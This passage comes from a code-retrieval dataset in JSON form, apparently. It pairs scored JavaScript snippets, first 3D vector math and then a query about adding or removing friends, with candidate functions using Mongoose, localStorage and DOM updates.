0, 1\n )\n}", "title": "" }, { "docid": "727725990d32008c6ac1cf25b1a265d6", "score": "0.56111515", "text": "function Vector(x, y, z)\n{\n this.v = new Array(x,y,z,1);\n\n // check to see if the vector is within a given distance to\n // a point\n this.withinRadiusAroundPoint = function(r, p)\n {\n var dx = this.v[0] - p[0];\n var dy = this.v[1] - p[1];\n return (dx * dx + dy * dy) < (r * r);\n }\n\n // rotate the vector about an origin\n this.rotateAboutOrigin = function(o, rotAngles)\n {\n var rv = RotVectorAboutOrigin(this.v, o, rotAngles);\n for (var i = 0; i < rv.length; ++i)\n {\n this.v[i] = rv[i];\n }\n }\n\n // move the vector to another point\n this.moveTo = function(p)\n {\n this.v[0] = p.v[0];\n this.v[1] = p.v[1];\n this.v[2] = p.v[2];\n }\n\n // calculate the distance from another vector\n this.distanceFrom = function(b)\n {\n var sumOfSquares = 0;\n for (var i = 0; i < this.v.length; ++i)\n {\n sumOfSquares += (this.v[i] - b.v[i]) * (this.v[i] - b.v[i]);\n }\n\n return Math.sqrt(sumOfSquares);\n }\n}", "title": "" }, { "docid": "8afdfe33b1fff598ea557ae499f5a58c", "score": "0.5610057", "text": "AddVertex( x,y,z ){\r\n\t\tlet vert = new Vertex();\r\n\t\t\r\n\t\tif( arguments.length == 3 )\t\tvert.point.set( x, y, z );\r\n\t\telse if( x instanceof Vec3 )\tvert.point.copy( x );\r\n\t\t\r\n\t\tthis.vertices.push( vert );\r\n\t\treturn vert;\r\n }", "title": "" }, { "docid": "4cf243fc6de6d5aed7ed911f9d378eec", "score": "0.56066597", "text": "function ComputedGeometry3d() {\n Geometry3d.call(this);\n this._transformUid = -1;\n this._transformVersion = -1;\n this._geometryUid = -1;\n this._geometryVersion = -1;\n}", "title": "" }, { "docid": "a7eb1914ead7671d6a9ea34f45afc6d5", "score": "0.5601644", "text": "function v( scope, x, y, z ) {\n scope.vertices.push( new THREE.Vector3( x, y, z ) );\n}", "title": "" }, { "docid": "34c82ae4fab953b170eddfd807a30296", "score": "0.55967367", "text": "multiplyByFloats(x, y, z) {\n return new Vector3(this._x * x, this._y * y, this._z * z);\n }", "title": "" }, { "docid": "10c04c07a351661b9fda992efd19c4cf", "score": "0.55927074", "text": "function gfCopyVec4(v, result) {\n\t\tresult[0] = v[0];\n\t\tresult[1] = v[1];\n\t\tresult[2] = v[2];\n\t\tresult[3] = v[3];\n\t}", "title": "" }, { "docid": "31838cf1a977a39d42d199262b7a70a2", "score": "0.5589864", "text": "function project(angle, vector) {\n return new THREE.Vector3(vector*Math.cos(angle), vector*Math.sin(angle), 0)\n}", "title": "" }, { "docid": "eae640d8415423afd2429ed3d85b856a", "score": "0.5584333", "text": "norm3(){\n return Math.sqrt(this.x**2 + this.y**2 + this.z**2);\n }", "title": "" }, { "docid": "21115d19a01e540141ecf8a365ced946", "score": "0.5565015", "text": "static TransformNormalFromFloats(x, y, z, transformation, result) {\r\n\t result = result || new Vector3();\r\n\t result.x = (x * transformation.m[0]) + (y * transformation.m[4]) + (z * transformation.m[8]);\r\n\t result.y = (x * transformation.m[1]) + (y * transformation.m[5]) + (z * transformation.m[9]);\r\n\t result.z = (x * transformation.m[2]) + (y * transformation.m[6]) + (z * transformation.m[10]);\r\n\t return result;\r\n\t }", "title": "" }, { "docid": "21115d19a01e540141ecf8a365ced946", "score": "0.5565015", "text": "static TransformNormalFromFloats(x, y, z, transformation, result) {\r\n\t result = result || new Vector3();\r\n\t result.x = (x * transformation.m[0]) + (y * transformation.m[4]) + (z * transformation.m[8]);\r\n\t result.y = (x * transformation.m[1]) + (y * transformation.m[5]) + (z * transformation.m[9]);\r\n\t result.z = (x * transformation.m[2]) + (y * transformation.m[6]) + (z * transformation.m[10]);\r\n\t return result;\r\n\t }", "title": "" }, { "docid": "49662bfa1301a298f68e0da4f7148715", "score": "0.55574423", "text": "function vectorInit(x = 0, y = 0, z = 0) {\n return [x, y, z];\n}", "title": "" }, { "docid": "443ab7ad8109d1ec09ae91541b4295d8", "score": "0.555328", "text": "floor() {\n return new Vector3(Math.floor(this._x), Math.floor(this._y), Math.floor(this._z));\n }", "title": "" }, { "docid": "8eb5a1db1d3e0413052bc7f5e350d3a6", "score": "0.55513835", "text": "reorderInPlace(order) {\n order = order.toLowerCase();\n if (order === \"xyz\") {\n return this;\n }\n MathTmp.Vector3[0].copyFrom(this);\n [\"x\", \"y\", \"z\"].forEach((val, i) => {\n this[val] = MathTmp.Vector3[0][order[i]];\n });\n return this;\n }", "title": "" }, { "docid": "616a225e2791b1d1c08e17da335106b1", "score": "0.55463165", "text": "toVector() {\r return new Vector(this.X, this.Y);\r }", "title": "" }, { "docid": "36ca2d00e18e392f6e1fdcaf48761030", "score": "0.55445254", "text": "getTeleportedDirectionalVector(v) {\n let f = new THREE.Matrix4().makeScale(-1, -1, 1)\n let it = new THREE.Matrix4()\n it.extractRotation(this.CDBB.inverse_t)\n let to = new THREE.Matrix4()\n to.extractRotation(this.output.CDBB.t)\n\n let m = it.clone().premultiply(f).premultiply(to)\n let v4 = util.threeToFour(v).applyMatrix4(m)\n return util.fourToThree(v4)\n }", "title": "" }, { "docid": "123935fed268e2bb0a50a784f13bed18", "score": "0.5540567", "text": "static FromArray(array, offset) {\n if (!offset) {\n offset = 0;\n }\n return new Vector4(array[offset], array[offset + 1], array[offset + 2], array[offset + 3]);\n }", "title": "" }, { "docid": "fb366d78196720b44f01c2ccf4ba05e7", "score": "0.55279505", "text": "setVector4(uniformName, vector4) {\n this._pipelineContext.setVector4(uniformName, vector4);\n return this;\n }", "title": "" }, { "docid": "268b767bb52e19c933cbce6b9bac3aaa", "score": "0.5527904", "text": "multiplyByFloats(x, y, z, w) {\n return new Vector4(this.x * x, this.y * y, this.z * z, this.w * w);\n }", "title": "" }, { "docid": "2f1b68f5878e623df20a3f8764a6532b", "score": "0.552767", "text": "getVectorAtOrigin() {\n return createVector(this.x2 - this.x1, this.y2 - this.y1);\n }", "title": "" }, { "docid": "ea5876f1a31ba4fb9dfed208e363c4a5", "score": "0.55265355", "text": "static FromArray(array, offset) {\r\n\t if (!offset) {\r\n\t offset = 0;\r\n\t }\r\n\t return new Vector4(array[offset], array[offset + 1], array[offset + 2], array[offset + 3]);\r\n\t }", "title": "" }, { "docid": "ea5876f1a31ba4fb9dfed208e363c4a5", "score": "0.55265355", "text": "static FromArray(array, offset) {\r\n\t if (!offset) {\r\n\t offset = 0;\r\n\t }\r\n\t return new Vector4(array[offset], array[offset + 1], array[offset + 2], array[offset + 3]);\r\n\t }", "title": "" }, { "docid": "400b7f76a69d16b6793527df6f842326", "score": "0.5522185", "text": "static FromPoints(point1, point2, point3) {\n var result = new Plane(0.0, 0.0, 0.0, 0.0);\n result.copyFromPoints(point1, point2, point3);\n return result;\n }", "title": "" } ]
2e9b2a7449323ac9c21b8227e7213a8f
add the friend row to the global set or delete it if it's already in there
[ { "docid": "b0aa87afe75f8e6b6dbe1e73d852b1dd", "score": "0.616519", "text": "function updateFriend(friend, friends_to_add) {\n $('.friend_add_icon', friend).toggle();\n var selectedID = $('.js-friend', friend).data('id');\n if (selectedID in friends_to_add) {\n delete friends_to_add[selectedID];\n } else {\n var bg = $('.small_portrait', friend).css('background-image');\n bg = bg.replace('url(','').replace(')','');\n friends_to_add[selectedID] = {first_name: $('.js-friend', friend).html().split(' ')[0], pic_url: bg};\n }\n}", "title": "" } ]
[ { "docid": "3def31e62022e4b7b91d2b13b0b9fd2e", "score": "0.58606815", "text": "addFriend(req, res) {\n User.findOneAndUpdate(\n { _id: req.params.userId },\n { $addToSet: { friends: req.params.friendId } },\n { new: true })\n .then((dbUserData) => {\n if (!dbUserData) {\n return res.status(404).json({ message: 'No user with this id!' });\n }\n res.json(dbUserData);\n })\n .catch((err) => {\n console.log(err);\n res.status(500).json(err);\n });\n }", "title": "" }, { "docid": "8ac0e915441fc845ec1f0512f27fecd9", "score": "0.5859428", "text": "function addFriend(user, friendId) {\n const trueFriendId = mongoose.Types.ObjectId(friendId);\n\n return Promise.all([\n UserModel.updateOne({_id: friendId}, { $addToSet: {friends: user._id}}),\n UserModel.updateOne({_id: user._id}, { $addToSet: {friends: trueFriendId}}),\n ]);\n}", "title": "" }, { "docid": "ebd519ffde47553d9a667f2478fea127", "score": "0.5831976", "text": "async addFriend() {\n const { user } = this.state;\n try {\n const currentUserId = await firebase.auth().currentUser.uid;\n const currentUserFriendsLink = await firebase\n .database()\n .ref(`/Users/${currentUserId}/`);\n const currentUserFriendsMetaData = await firebase\n .database()\n .ref(`/Users/${currentUserId}/friends`)\n .once('value');\n const currentUserFriends = await currentUserFriendsMetaData.val();\n\n //Creating the new friends arr with the new friend's email(user from local state)\n let newFriendsArr = [...currentUserFriends, user];\n\n //If the current user doesnt have any friends, set the newFriendsArr to be the user's email\n currentUserFriends[0] === 'initiate' ? (newFriendsArr = [user]) : null;\n\n //Updating firebase to include the new friend\n currentUserFriendsLink.update({ friends: newFriendsArr });\n } catch (err) {\n console.error(err);\n }\n }", "title": "" }, { "docid": "28b1ad20cb709f827883af07cfcecf4c", "score": "0.5727116", "text": "addAFriend({ params}, res) {\n User.findByIdAndUpdate(\n { _id: params.userId },\n { $addToSet: {friends: params.friendId }},\n { new: true }\n )\n .then((dbUserData) => res.json(dbUserData))\n .catch((err) => res.status(400).json(err))\n \n \n }", "title": "" }, { "docid": "04af13abd84e5766bdb95ffab18bad79", "score": "0.5649854", "text": "function addInvite(inviteData){\n console.log(\"Adding \" + inviteData.uid);\n console.log(friendArr);\n\n var friendFriendArr;\n if(inviteData.friends == undefined || inviteData.friends == null) {\n friendFriendArr = [];\n } else {\n friendFriendArr = inviteData.friends;\n }\n\n friendFriendArr.push(user.uid);\n firebase.database().ref(\"users/\" + inviteData.uid).update({\n friends: friendFriendArr\n });\n\n\n if (friendArr == undefined || friendArr == null || friendArr.length == 0){\n friendArr = [];\n friendArr.push(inviteData.uid);\n user.friends = [];\n user.friends.push(inviteData.uid);\n } else {\n friendArr.push(inviteData.uid);\n user.friends.push(inviteData.uid);\n }\n firebase.database().ref(\"users/\" + user.uid).update({\n friends: friendArr\n });\n\n console.log(friendArr);\n\n deleteInvite(inviteData.uid);\n }", "title": "" }, { "docid": "16c82a2ff25cef492e762d0368fc06d0", "score": "0.5540018", "text": "addFriend({params}, res) {\n Users.findOneAndUpdate({_id: params.id}, {$push: { friends: params.friendId}}, {new: true})\n .populate({path: 'friends', select: ('-__v')})\n .select('-__v')\n .then(dbUsersData => {\n if (!dbUsersData) {\n res.status(404).json({message: 'No User with this ID!'});\n return;\n }\n res.json(dbUsersData);\n })\n .catch(err => res.json(err));\n }", "title": "" }, { "docid": "1c100b82ab98a3eba6f546166ce95a0e", "score": "0.55400175", "text": "function CacheRemoveFriend(friendObject) {\n for (var i = 0; i < cacheFriend.length; i++) {\n if (cacheFriend[i].id == friendObject.id) {\n cacheFriend.splice(i, 1);\n break;\n }\n }\n localStorage.cacheFriend = JSON.stringify(cacheFriend);\n}", "title": "" }, { "docid": "4d6f3b95d63ce83fb7ba811227842b6b", "score": "0.551324", "text": "function addEmailtoFriendsList(myEmail,friendEmail) {\n var source;\n var flag=true ;\n mongoose.model(\"users\").update({\"email\":myEmail},{$push:{\"friend\":friendEmail}},function(err){\n source=err;\n if(err)\n flag=false\n });\n while(source === undefined) {\n require('deasync').runLoopOnce();\n }\n return flag;\n\n}", "title": "" }, { "docid": "5abf2da9a2e5328a773c07ef6f148b31", "score": "0.54537153", "text": "function CacheUpdateFriend(object){\n if (typeof(object) == \"undefined\") {\n return;\n }\n\n object = rawLocalToCache(JSON.parse(JSON.stringify(object)));\n var cached = false;\n for (var i = 0; i < cacheFriend.length; i++) {\n if (cacheFriend[i].id == object.id) {\n cacheFriend.splice(i, 1, object);\n cached = true;\n break;\n }\n }\n if (!cached) {\n cacheFriend.push(object);\n }\n localStorage.cacheFriend = JSON.stringify(cacheFriend);\n}", "title": "" }, { "docid": "30b79418318ecf01d09e4ac0b738e546", "score": "0.5434016", "text": "function CheckAndAddFriendToFriendList(friendId,friendName) {\n try \n {\n var tempFriends;\n try {\n tempFriends = JSON.parse(window.sessionStorage.getItem(\"facebookfriendlist\"));\n } catch (TempEx) { }\n\n if (tempFriends == null) {\n tempFriends = new Array();\n }\n\n var weAlreadyHaveTHisFriendInOurList = 0;\n for (var i = 0; i <= tempFriends.length - 1; i++)\n {\n if (tempFriends[i].id == friendId) {\n //this is the friend!!!\n //they are already in our list!!!!\n weAlreadyHaveTHisFriendInOurList = 1;\n break;\n }\n }\n\n if (weAlreadyHaveTHisFriendInOurList == 0) {\n //this friend is NOT in our list\n //so add them - and then listen to their group!!!\n var newFriend = new friend();\n newFriend.id = friendId;\n newFriend.name = friendName;\n\n tempFriends.push(newFriend);\n\n //now update the friendsList in sessionStorage\n window.sessionStorage.setItem(\"facebookfriendlist\", $.toJSON(tempFriends));\n \n //now listen to the group for this friend!!\n var currentUser = JSON.parse(window.sessionStorage.getItem(\"facebookuser\"));\n liveGamesSignalRConnection.server.joingroup(\"UBD\" + friendId, currentUser.firstname);\n }\n }\n catch (ex) \n { \n logError(\"AddFriendToFriendList\", ex);\n }\n}", "title": "" }, { "docid": "b70caad037297ba2eb141af1ddb27f72", "score": "0.5419592", "text": "addFriend({ params, body }, res){\n User.findOneAndUpdate({ _id: params.userId },{ $push: {friends: params.friendId} }, {new: true})\n .then(results => {\n if (!results) {\n res.status(404).json({ message: \"no user found with this id...\"});\n return;\n }\n res.json(results);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "c7f2b701a24d3935830b6270f146447e", "score": "0.53797877", "text": "function createFriendship(friend) {\n postFriendshipToDB(localStorage.username, friend);\n postFriendshipToDB(friend, localStorage.username);\n addFriendshipRow(friend);\n clearAddFriendInput();\n}", "title": "" }, { "docid": "e340c9ae311423aae3d306e77025390f", "score": "0.5366386", "text": "function addFriend(userID) {\n db.collection('users').doc(getUserID()).update({\n friends: firebase.firestore.FieldValue.arrayUnion(userID)\n }).then(() => {\n db.collection('users').doc(userID).update({\n friends: firebase.firestore.FieldValue.arrayUnion(getUserID())\n }).then(() => {\n (bootstrap.Modal.getInstance(document.getElementById('player-info-screen'))).hide();\n showPlayerInfo(userID); \n })\n })\n}", "title": "" }, { "docid": "14771996ec0c386b48d06b97b983a28c", "score": "0.5333168", "text": "function addFriendshipRow(friend) {\n\tvar tableBody = document.getElementById(\"friends-table-body\");\n\tvar row = document.createElement(\"tr\");\n\n\tvar formTableData = document.createElement(\"td\");\n\tvar checkbox = document.createElement(\"input\");\n\tcheckbox.type = \"checkbox\";\n\tcheckbox.value = friend;\n\tcheckbox.className = \"friendCheckBox\";\n\tformTableData.appendChild(checkbox);\n\trow.appendChild(formTableData);\n\n\tvar friendTableData = document.createElement(\"td\");\n\tfriendTableData.innerHTML = friend;\n\trow.appendChild(friendTableData);\n\n\ttableBody.appendChild(row);\n}", "title": "" }, { "docid": "cff30569b1cb3d6d1c02de6f6b16ea1d", "score": "0.5313974", "text": "addFriendToUser(req, res) {\n User.findOneAndUpdate(\n { _id: req.params.id },\n { $push: { friends: { _id: req.params.friendId } } },\n { new: true, runValidators: true }\n )\n .then(dbData => {\n if (!dbData) {\n res.status(404).json({ message: \"Aw jeez man, there's like, no user with that Id\" });\n return;\n }\n res.json(dbData);\n })\n .catch(err => res.json(err));\n }", "title": "" }, { "docid": "7bc8a1fb9234be18693ac4501229fb2f", "score": "0.5290599", "text": "function addFriend(userObj, friend) {\n\tuserObj.data.friends.push(friend);\n\treturn userObj.data.friends;\n}", "title": "" }, { "docid": "660fe78eadb263f09210b4d6154c50af", "score": "0.5290345", "text": "function addFriend(person, newFriend){\n\t\n\treturn person.friends.push(newFriend); \n}", "title": "" }, { "docid": "2e857bf9108f7b016b67afb82e6eb607", "score": "0.528804", "text": "function removeFriend() {\n\trelation_controls_div.innerHTML = \"you are no longer friends\";\n\tpost_json_to_url(\n\t\trelationServletURL + \"?user_a_id=\" + _curr_user_id + \"&user_b_id=\" + _target_user_id + \"&status=DELETE\",\n\t\t{\n\n\t\t}, \n\t\tfunction (data) {\n\t\t\tlocation.reload();\n\t\t}\n\t);\n}", "title": "" }, { "docid": "94766c18f5756b3b9afd52c4287b14db", "score": "0.5242842", "text": "addFriend({params}, res){\n console.log(params.userId);\n User.findOneAndUpdate(\n {_id: params.userId},\n {$addToSet: {\n friends: params.friendId,\n }\n },\n {new: true, runValidators: true}\n ).then(dbData => {\n if (!dbData){\n res.status(404).json({message: \"One or both of these people do not exist\"})\n }\n res.json(dbData)\n }).catch(err => res.status(400).json(err))\n}", "title": "" }, { "docid": "ee7b1ceb891febc56254f8466166034e", "score": "0.5234441", "text": "function updateAdded() {\n // Populate friends list\n switch(_current_page) {\n case 'TAB':\n $.post(\"http://app.grasscat.org/add_friends_to_tab\", { tab_id: _tab_id, friends_to_add: JSON.stringify(Object.keys(friends_to_add)) });\n break;\n case 'NEW_TAB':\n $('.friend_block').remove();\n $('.friend_group_row').prepend(FriendRowTemplate({ friends: friends_to_add }));\n break;\n }\n}", "title": "" }, { "docid": "4525b45782c92e6e6585ed309b5f37ee", "score": "0.5233269", "text": "async function addToFriendHistory(req, res) {\n try {\n let friendId = req.params.friendId;\n let friend = await User.findById({ _id: friendId });\n let userId = req.user.id; //current user logged in\n let access = 0;\n for (let i = 0; i < friend.friends.length; i++) {\n if (friend.friends[i]._id.toString() === userId) {\n //if my id is in friends array then only give access\n access = 1;\n break;\n }\n }\n if (access == 1) {\n let user = await User.findOne({ userId: req.user.id });\n if (user.isDoctor) {\n friend.history.push({\n imageLink: req.body.imageLink,\n description: req.body.description,\n isVerified: true,\n uploadedBy: userId,\n });\n } else {\n friend.history.push({\n imageLink: req.body.imageLink,\n description: req.body.description,\n isVerified: false,\n uploadedBy: userId,\n });\n }\n await User.updateOne(\n {\n _id: userId,\n },\n {\n $set: {\n history: user.history,\n },\n }\n );\n return res.send({\n success: true,\n msg: \"History Updated by friend\",\n });\n } else {\n return res.send({\n success: true,\n msg: \"You dont have access to edit history of so called friend who isnt you're friend\",\n });\n }\n } catch (err) {\n console.log(err);\n return res.status(500).send({ success: false, msg: \"Server Error\" });\n }\n}", "title": "" }, { "docid": "56f2620a5ca025cd9227b28adcb006bc", "score": "0.5208962", "text": "function addToFavoritesList(elem) {\n var favoriteThisLocation = parseInt($(elem).closest(\"[data-search-location-id]\").data(\"search-location-id\"));\n PushToListWithoutDuplicate(favoriteLocations, favoriteThisLocation);\n localStorageFavoritesUpdateWithItem();\n $(elem).attr(\"onclick\", \"removeFromFavoritesList(this);\").text(\"Remove from Favorites\");\n console.log(\"favoriteLocations: \", favoriteLocations, \"Added +\");\n updateFavoritesListDisplay();\n}", "title": "" }, { "docid": "5450e88a0028983fee6476c41fc2230b", "score": "0.51877326", "text": "function addToFavs(e) {\n\n // ok we have the person Id, save to local storage\n var person = _currentPerson;\n var exists = false;\n\n // check to see if the user exists or not in their favs collection\n if (findFavouritePerson(person.PersonId) != null) {\n exists = true;\n } else {\n exists = false;\n }\n\n // only add to favs if the contact doesn't exist\n if (!exists) {\n\n // add\n _dsFavourites.add(person);\n\n // update the local storage\n localStorage.setItem(_storageKeyFavs, JSON.stringify(_dsFavourites._data));\n\n // show the correct icon\n showRemoveFromFavIcon();\n\n updateBadge(_dsFavourites.data().length);\n\n // tell the user!\n alert(person.FirstName\n + ' ' + person.LastName\n + ' has been added to your favourites!');\n\n } else {\n\n // remove the fav (taken from http://jsfiddle.net/derickbailey/D4g8S/)\n var raw = _dsFavourites.data();\n var length = raw.length;\n var item, i;\n\n for (i = length - 1; i >= 0; i--) {\n item = raw[i];\n if (item.PersonId == person.PersonId) {\n _dsFavourites.remove(item);\n break; // .. as we're done\n }\n\n }\n\n // update the local storage with the change\n localStorage.setItem(_storageKeyFavs, JSON.stringify(_dsFavourites._data));\n\n // show the correct icon\n showAddToFavIcon();\n\n updateBadge(_dsFavourites.data().length);\n\n // tell the user!\n alert(person.FirstName\n + ' ' + person.LastName\n + ' has been removed from your favourites!');\n }\n}", "title": "" }, { "docid": "2cf3657ff3f3f36765c5ea33789a110d", "score": "0.5178635", "text": "handleFriendButton(index) {\n var userFriend = this.state.User[index].friends;//index of user\n if(userFriend.length == 0){\n alert(\"Noone in your list friend\");\n }else {\n var idUser = this.state.User[index]._id;// id user\n var arrayFriend = [];\n for (var i = 0; i < userFriend.length; i++) {\n for (var j = 0; j < this.state.User.length; j++) {\n if (userFriend[i] === this.state.User[j]._id) {\n var nameFriend = {\n // use idUser to delete friend from list friend by id user\n \"idUser\": idUser,\n \"_idFriend\": this.state.User[j]._id,\n \"firstName\": this.state.User[j].firstName,\n \"lastName\": this.state.User[j].lastName,\n };\n }\n }\n if (typeof(nameFriend) !== \"undefined\") {\n arrayFriend.push(nameFriend);\n }\n }\n if (arrayFriend.length <= 0) {\n alert(\"your friend not exit\");\n }else {\n this.setState({friends: arrayFriend});\n }\n\n }\n }", "title": "" }, { "docid": "800f6e277e98b1f705ced9a4c57f897a", "score": "0.51783985", "text": "addFriend({params}, res) {\n User.findOneAndUpdate(\n { _id: params.userId },\n { $push: { friends: params.friendId } },\n { new: true, runValidators: true }\n )\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ message: 'No user found with this id!' });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.json(err));\n }", "title": "" }, { "docid": "d3f9da639fa199f14776469322685ffb", "score": "0.5103614", "text": "function AddFriendToGroup(F2Group,NameGroup)\n{\n//--------------- Add Friend to My Group ---------------//\n//-------------------- add him in the group-------//\n\nmongoose.model(\"groups\").update({\"groupName\":NameGroup},\n{$push:{\"members\":F2Group}},function(err){\n if(err){\n return true\n console.log(err);\n}else {\n return false\n}\n});\n} //End Function", "title": "" }, { "docid": "fc126892aa00d7b7a099a3bc35f15839", "score": "0.50746757", "text": "function addFriend(mate){\n\n\t\tclassMates.push(mate);\n\t}", "title": "" }, { "docid": "2d5d9389f53cf38e6111481abb87ed95", "score": "0.5061032", "text": "async addFriend({ params }, res) {\n try {\n let results = await User.findOneAndUpdate(\n { _id: params.userId },\n { $push: { friends: params.friendId } },\n { new: true }\n );\n\n if (!results) {\n res.status(404).json({ message: 'No user found with that id' });\n return;\n }\n\n res.json(results);\n }\n catch (err) {\n console.log(err);\n res.status(400).json(err);\n }\n }", "title": "" }, { "docid": "9571d80edcc45fd919006dc0a68ac718", "score": "0.5055963", "text": "async function addFriend(user1, user2){\n if(user1 === undefined || user2 === undefined){\n return Promise.reject(\"user1 or user2 is undefined\");\n }\n try{\n if(!getByUsername(user2)){\n return Promise.reject('No user2 found; you cannot add a friend that does not exist.');\n }\n }catch (e) {\n return Promise.reject('No user2 found; you cannot add a friend that does not exist.');\n }\n const col = await users();\n\n let user1Object = await getByUsername(user1);\n if(user1Object.profile.friends.includes(user2)){\n return Promise.reject(user1 + \"is already friends with \" + user2);\n }\n user1Object.profile.friends.push(user2)\n\n const updateInfo = await col.updateOne({username: user1},\n {$set : {\"profile.friends\": user1Object.profile.friends}});\n if (updateInfo.modifiedCount === 0) {\n return Promise.reject( \"Could not perform adding friend operation successfully\");\n }\n return getByUsername(user1);\n}", "title": "" }, { "docid": "d96ef56e531674d89e30b3b731e3dae5", "score": "0.50538164", "text": "async insertFriendReq(db,request){\n //searching through db to see if request already exists\n let value = await db.select('*').from('friend').where('user_id',request.user_id)\n //if their are multiple friend requests from a user then filter out ids\n // to allow new friend requests if not already made to specific user\n if(value.length === 0){\n return db\n .insert(request)\n .into('friend')\n .returning('*')\n .then(([request]) => request)\n }\n function requestExists(istrue){\n return istrue.user_id === request.user_id && istrue.sent_request_to === request.sent_request_to\n }\nif(value.length > 0){\n if(value.find(requestExists)){\n return {message: 'request already exists'}\n } else {\n return db\n .insert(request)\n .into('friend')\n .returning('*')\n .then(([request]) => request)\n }\n}\n }", "title": "" }, { "docid": "fdeb5fb62bd0b1eaaf9d483b42e9a575", "score": "0.5049405", "text": "function addFriends() {\n\n //create random information_names\n //array of each member\n var othersToAdd = [];\n \n\t\n\tvar groups = localStorage.getItem('current');\n\tvar groups = JSON.parse(groups);\n\tconsole.log(groups);\n\tvar groups = groups[1];\n\tconsole.log(groups);\n\tfor (var h=0; h<groups.length; h++) {\n\t\tvar howmany = getHowMany(1, 2);\n\t\tvar where = h;\n\t\tvar teamnumbers = createOthers(howmany, where);\n\t\tothersToAdd.push(teamnumbers);\n\t\t//console.log(othersToAdd);\n\t}\n\t\n\t\n\n\t//set localstr 'friends' to array\n\t//console.log(othersToAdd);\n\tlocalStorage.setItem('friends', JSON.stringify(othersToAdd));\n}", "title": "" }, { "docid": "c9573e1e309a7fc0fa8ca61fe0de746c", "score": "0.50198126", "text": "addNewFriend({ params, body }, res) {\n\t\tUser.findOneAndUpdate(\n\t\t\t{ _id: params.id },\n\t\t\t{ $addToSet: { friends: body } },\n\t\t\t{ new: true, runValidators: true }\n\t\t)\n\t\t\t.populate({\n\t\t\t\tpath: 'user',\n\t\t\t\tselect: '-__v',\n\t\t\t})\n\t\t\t.select('-__v')\n\t\t\t.then((dbData) => {\n\t\t\t\tif (!dbData) {\n\t\t\t\t\tres\n\t\t\t\t\t\t.status(404)\n\t\t\t\t\t\t.json({ message: 'No user was found with the id you provided ' });\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tres.json(dbData);\n\t\t\t})\n\t\t\t.catch((err) => res.json(err));\n\t}", "title": "" }, { "docid": "988b0019bfec6bde5d9475041ba8cedc", "score": "0.5012704", "text": "function add_friend(element){\n var clone_element = element.cloneNode(true);\n element.parentNode.replaceChild(clone_element, element);\n element = clone_element;\n element.classList.remove('add-friend');\n element.classList.add('cancel-friend');\n element.addEventListener('click',function(){\n cancel_friend(element);\n }); var user_id = element.getAttribute('data-id');\n var data = \"id=\"+user_id;\n send_request('POST','functions/add_friend.php',data);\n}", "title": "" }, { "docid": "2b7962eb55886e58c39e2047ac170651", "score": "0.50093436", "text": "function addFriendToFriendList(name) {\n\tvar li = $('<li />', {\n\t\tclass : \"list-group-item clearfix\",\n\t\tid : \"friend-amy\",\n\t\ttext : name\n\t});\n\n\tvar btn = $('<button />', {\n\t\ttype : 'button',\n\t\tclass : 'btn btn-primary pull-right',\n\t\tvalue : 'unfriend-' + name.toLowerCase() + '-button',\n\t\ttext : 'Unfriend'\n\t});\n\n\tbtn.click(function(event) {\n\t\t// $(this).parent().remove();\n\t\t// removeFriendFromChat()\n\t\tdelete friends[name];\n\t\trefreshChatAndFriendList();\n\t});\n\n\t$('#friends-list').append(li.append(btn));\n}", "title": "" }, { "docid": "4d37074ad9ebdeb8c9a752d741849fa9", "score": "0.49839097", "text": "function AggiornaListaAmici(){\n if (!online)\n return;\n var listaID = GetFriendsIDFromServer();\n //controllo che ci siano state modifiche \n //se qualcuno aggiunto, aggiungo alla lista e al db\n contatore = 0;\n iduser=-1;\n for (i = 0; i < listaID.length; i++) {\n contatore = 0;\n iduser = listaID[i];\n for (j = 0; j < friendList.length; j++) {\n if (iduser != friendList[j].id)\n contatore++;\n else\n break;\n }\n if (contatore == friendList.length) {\n //prendo dal server l'utente con id iduser e aggiungo al db \n user = GetUserByIdFromServer(iduser);\n AddFriendToDB(user);\n friendList.push(user); \n }\t\t\t\t\n } \n //se qualcuno rimosso, rimuovo dalla lista e dal db\n for (i = 0; i < friendList.length; i++) {\n contatore = 0;\n for (j = 0; j < listaID.length; j++) {\n iduser = listaID[j];\n if (iduser != friendList[i].id)\n contatore++;\n else\n break;\n }\n if (contatore == listaID.length) {\n RemoveUtenteFromDB(friendList[i].id);\n friendList.splice(i,1);\n }\t\t\t\t\n }\n}", "title": "" }, { "docid": "2897be36148164a8a804745869402e2a", "score": "0.49716628", "text": "function addFriend(name, object) {\n object.friends[object.friends.length] = name\n return object\n}", "title": "" }, { "docid": "a80f39e68a02c1b07e322b95b17a3e64", "score": "0.49442178", "text": "async addFriends(req, res, next){\n\t\ttry {\n\t\t\t// validate request\n\t\t\tlet result = AddFriendsSchema.validate(req.body)\n\t\t\tif(result.error)\n\t\t\t\treturn res.status(422).send(result.error)\n\t\t\tlet users = result.value.users\n\n\t\t\t// proceed to adding users\n\t\t\tawait DB.q(`\n\n\t\tINSERT INTO f_list(user_id, friend_id)\n\n\t\tSELECT ?, g_users.id\n\t\tFROM g_users\n\n\t\tWHERE g_users.id IN (${ new Array(users.length).fill('?').join(',') })\n\t\t\tAND g_users.id != ? \n\t\t\tAND NOT EXISTS ( \n\t\t\t\tSELECT friend_id\n\t\t\t\tFROM f_list\n\t\t\t\tWHERE f_list.user_id = ?\n\t\t\t\t\tAND f_list.friend_id = g_users.id\n\t\t\t) ;\n\n\t\t\t`, [req.$.jwt.user]\n\t\t\t\t.concat(users)\n\t\t\t\t.concat([req.$.jwt.user, req.$.jwt.user]) \n\t\t\t)\n\n\t\t\tres.status(204).send()\n\n\t\t} catch(e) {\n\t\t\treturn errorhandler(e, res)\n\t\t}\n\t}", "title": "" }, { "docid": "9c497671d65bbbd7e180f85a0d05525d", "score": "0.49220586", "text": "function AddFriend(id) {\n AddFriendToServer(id);\n}", "title": "" }, { "docid": "f3d2daa1d5efcd01e41f77e4af500fb4", "score": "0.49210584", "text": "tryAddUser(member) \n {\n if(!this.users.has(member) && this.users.size < 23) {\n this.users.set(member, new QuizUser());\n }\n }", "title": "" }, { "docid": "0180593f521206dc56f0f04cb246d24f", "score": "0.49210468", "text": "function addFriend (name, object) {\n object.friends.push(name);\n return object;\n}", "title": "" }, { "docid": "0180593f521206dc56f0f04cb246d24f", "score": "0.49210468", "text": "function addFriend (name, object) {\n object.friends.push(name);\n return object;\n}", "title": "" }, { "docid": "0180593f521206dc56f0f04cb246d24f", 